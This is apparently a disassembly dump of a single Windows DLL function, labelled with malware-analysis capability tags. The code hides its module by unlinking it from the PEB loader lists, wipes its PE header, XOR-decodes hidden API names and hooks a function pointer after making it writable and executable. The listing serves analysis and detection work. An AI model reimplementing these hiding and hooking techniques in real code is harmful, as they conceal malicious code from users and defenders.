Function at 0x180008590
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Enumerate threads
Execute shellcode via indirect call
Get kernel32 base address
Parse pe header

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], r14
push rbp
lea rbp, [r11 - 0x5f]
sub rsp, 0xa0
mov rax, qword [0x18000d040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov qword [r11 + 8], rdi
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
mov ecx, 4
mov edi, eax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor r14d, r14d
mov rbx, rax
test rax, rax
je 0x180008624
xorps xmm0, xmm0
mov dword [rbp + 0x17], 0x1c
xor eax, eax
lea rdx, [rbp + 0x17]
mov rcx, rbx
mov qword [rbp + 0x2b], rax
movups xmmword [rbp + 0x1b], xmm0
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x18000861b
cmp dword [rbp + 0x23], edi
je 0x180008663
lea rdx, [rbp + 0x17]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x180008605
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
mov dword [0x18000d820], eax
mov rax, qword gs:[0x30]
mov qword [rbp + 0xf], rsi
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
mov rcx, qword [rax + 0x30]
nop word [rax + rax]
cmp rcx, rsi
je 0x180008668
mov rax, qword [rax]
mov rcx, qword [rax + 0x30]
test rcx, rcx
jne 0x180008650
jmp 0x1800086ab
mov eax, dword [rbp + 0x1f]
jmp 0x180008627
mov rdx, qword [rax + 8]
mov rcx, qword [rax]
mov qword [rdx], rcx
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov qword [rdx], rcx
mov rdx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov qword [rdx + 8], rcx
mov rdx, qword [rax + 0x28]
mov rcx, qword [rax + 0x20]
mov qword [rdx], rcx
mov rdx, qword [rax + 0x20]
mov rcx, qword [rax + 0x28]
mov qword [rdx + 8], rcx
lea rcx, [rbp + 0xf]
call fcn.1800026a0
mov rcx, qword [rbp + 0xf]
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180008729
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x180008729
mov r9, r14
nop dword [rax]
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
imul r8d, eax, 0x343fd
mov eax, 0x80808081
add r8d, 0x269ec3
sar r8d, 0x10
and r8d, 0x7fff
mul r8d
shr edx, 7
imul eax, edx, 0xff
sub r8d, eax
inc r8b
mov byte [r9 + rcx], r8b
inc r9
cmp r9, 0x1000
jl 0x1800086e0
mov ecx, 0x18
call fcn.180009164
mov qword [rbp - 0x19], rax
mov rdi, rax
cmp byte [0x18000b557], r14b
movups xmm0, xmmword [str.bAPDNhH_SOS._]
mov r10d, dword [0x18000d088]
movups xmmword [rbp + 0x17], xmm0
movsd xmm0, qword [0x18000b550]
movsd qword [rbp + 0x27], xmm0
je 0x180008906
cmp r10d, 2
jl 0x1800088c1
movdqa xmm0, xmmword [str.3333333333333333]
lea rcx, [rbp + 0x17]
movdqa xmm5, xmmword [0x18000b5e0]
mov edx, r14d
movdqa xmm4, xmmword [0x18000b640]
movdqa xmmword [rbp - 0x19], xmm0
mov r8d, dword [rbp - 0x19]
movaps xmmword [rsp + 0x90], xmm6
movdqa xmm6, xmmword [0x18000b600]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x18000b610]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18000b610]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x1800087b0
movaps xmm6, xmmword [rsp + 0x90]
jmp 0x180008906
lea r9, [rbp + 0x17]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x18
jl 0x1800088d0
mov eax, dword [0x18000b560]
mov r8d, r14d
movsd xmm0, qword [0x18000b558]
mov dword [rbp + 7], eax
movzx eax, byte [0x18000b564]
mov byte [rbp + 0xb], al
movsd qword [rbp - 1], xmm0
cmp r10d, 2
jl 0x180008a3a
movdqa xmm2, xmmword [0x18000b5e0]
mov r8d, 8
movdqa xmm3, xmmword [0x18000b5f0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x18000b640]
movdqa xmm0, xmm2
mov eax, dword [str.3333333333333333]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18000b600]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x18000b610]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x18000b558]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 1], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18000b600]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18000b610]
movd xmm1, dword [rbp + 3]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 3], xmm2
movsxd rax, r8d
lea r9, [rbp - 1]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xd
jl 0x180008a50
lea rcx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 1
mov qword [rdi], r14
mov rcx, rax
mov qword [rdi + 8], r14
mov rbx, rax
mov qword [rdi + 0x10], r14
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180008ae5
cmp byte [rbx], 0xeb
jne 0x180008ae5
lea edx, [rax + 1]
lea rcx, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180008ad9
movzx eax, byte [rbx + 1]
jmp 0x180008adb
xor eax, eax
movzx eax, al
add rbx, 2
add rbx, rax
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180008b2a
mov eax, 0x25ff
cmp word [rbx], ax
jne 0x180008b2a
mov edx, 4
lea rcx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180008b1f
mov eax, dword [rbx + 2]
mov ecx, eax
add rcx, 6
jmp 0x180008b67
mov eax, r14d
mov ecx, eax
add rcx, 6
jmp 0x180008b67
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180008b6e
mov eax, 0xff48
cmp word [rbx], ax
jne 0x180008b6e
mov edx, 4
lea rcx, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180008b5e
mov eax, dword [rbx + 3]
jmp 0x180008b61
mov eax, r14d
mov ecx, eax
add rcx, 7
add rcx, rbx
mov qword [rdi + 8], rcx
mov rsi, qword [rdi + 8]
test rsi, rsi
jne 0x180008b81
mov qword [rdi + 0x10], 0xffffffffffffffff
jmp 0x180008b87
mov rax, qword [rsi]
mov qword [rdi], rax
mov edx, 8
mov qword [0x18000d818], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
mov rdi, qword [rsp + 0xb0]
test eax, eax
jne 0x180008c55
lea rcx, str.Ntdll.dll
mov qword [rbp + 0xf], r14
mov qword [rbp + 0x37], 8
mov qword [rbp - 9], rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x40
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x37]
lea rdx, [rbp - 9]
lea rcx, [r9 - 0x41]
call rax
test al, al
jne 0x180008c4e
mov rbx, qword [rbp + 0xf]
lea rax, [0x1800083f0]
lea rcx, str.Ntdll.dll
mov qword [rsi], rax
mov qword [rbp - 1], 8
mov qword [rbp - 0x19], rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0xf]
mov r9, rbx
mov qword [rsp + 0x20], rdx
lea r8, [rbp - 1]
lea rdx, [rbp - 0x19]
mov rcx, 0xffffffffffffffff
call rax
mov eax, 1
jmp 0x180008c58
mov eax, r14d
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.180009050
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret